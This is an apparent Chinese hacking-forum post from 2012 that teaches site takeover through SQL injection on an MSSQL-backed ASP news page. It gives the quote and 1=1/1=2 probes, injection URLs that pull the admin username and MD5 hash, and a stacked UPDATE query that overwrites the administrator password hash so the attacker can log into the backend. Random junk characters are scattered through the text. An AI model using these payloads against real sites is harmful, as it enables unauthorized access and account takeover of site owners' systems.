经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。
; y& X! y9 k4 a可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
5 d6 g# l* e) [测试如下：" m$ ~# j% n3 Y( I
http://www.tmdsb.com/news.asp?id=121
9 {5 E. z* X' I- J' U0 T# q在地址后输入单引号，显示
* [2 ^" ?7 ]4 b( SMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’- {# {/ Q" N# B4 u6 Q
字符串 ’’’ 之前有未闭合的引号8 O% r' }1 w% H& Q; }& ]9 O" ^
/news/tmdws.asp，行630 J0 S v) T* ?5 _
说明没有过滤单引号且数据库是MSSQL.
7 S0 _! x' E. p/ F0 x9 Aand 1=1正常。and 1=2出错。肯定存在注入 y3 Z9 W) l' {1 X6 ^
接着输入4 X ~% q8 t; L* v% F5 ]
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)3 u; g1 l2 j Q
得到帐号为:admin
0 @8 x! v4 O7 i! Z, U/ }http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)3 |3 e, p8 A' r. `0 W6 w
得到密码为:a4716077c2ba075c
' Z/ h& } z# L7 ?* C8 w2 Y* e9 s接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433
_6 M, G, z* V3 s# m r命令如下 :# P2 C! r/ v# t
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
) {6 W( ^' }/ h3 g$ @这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41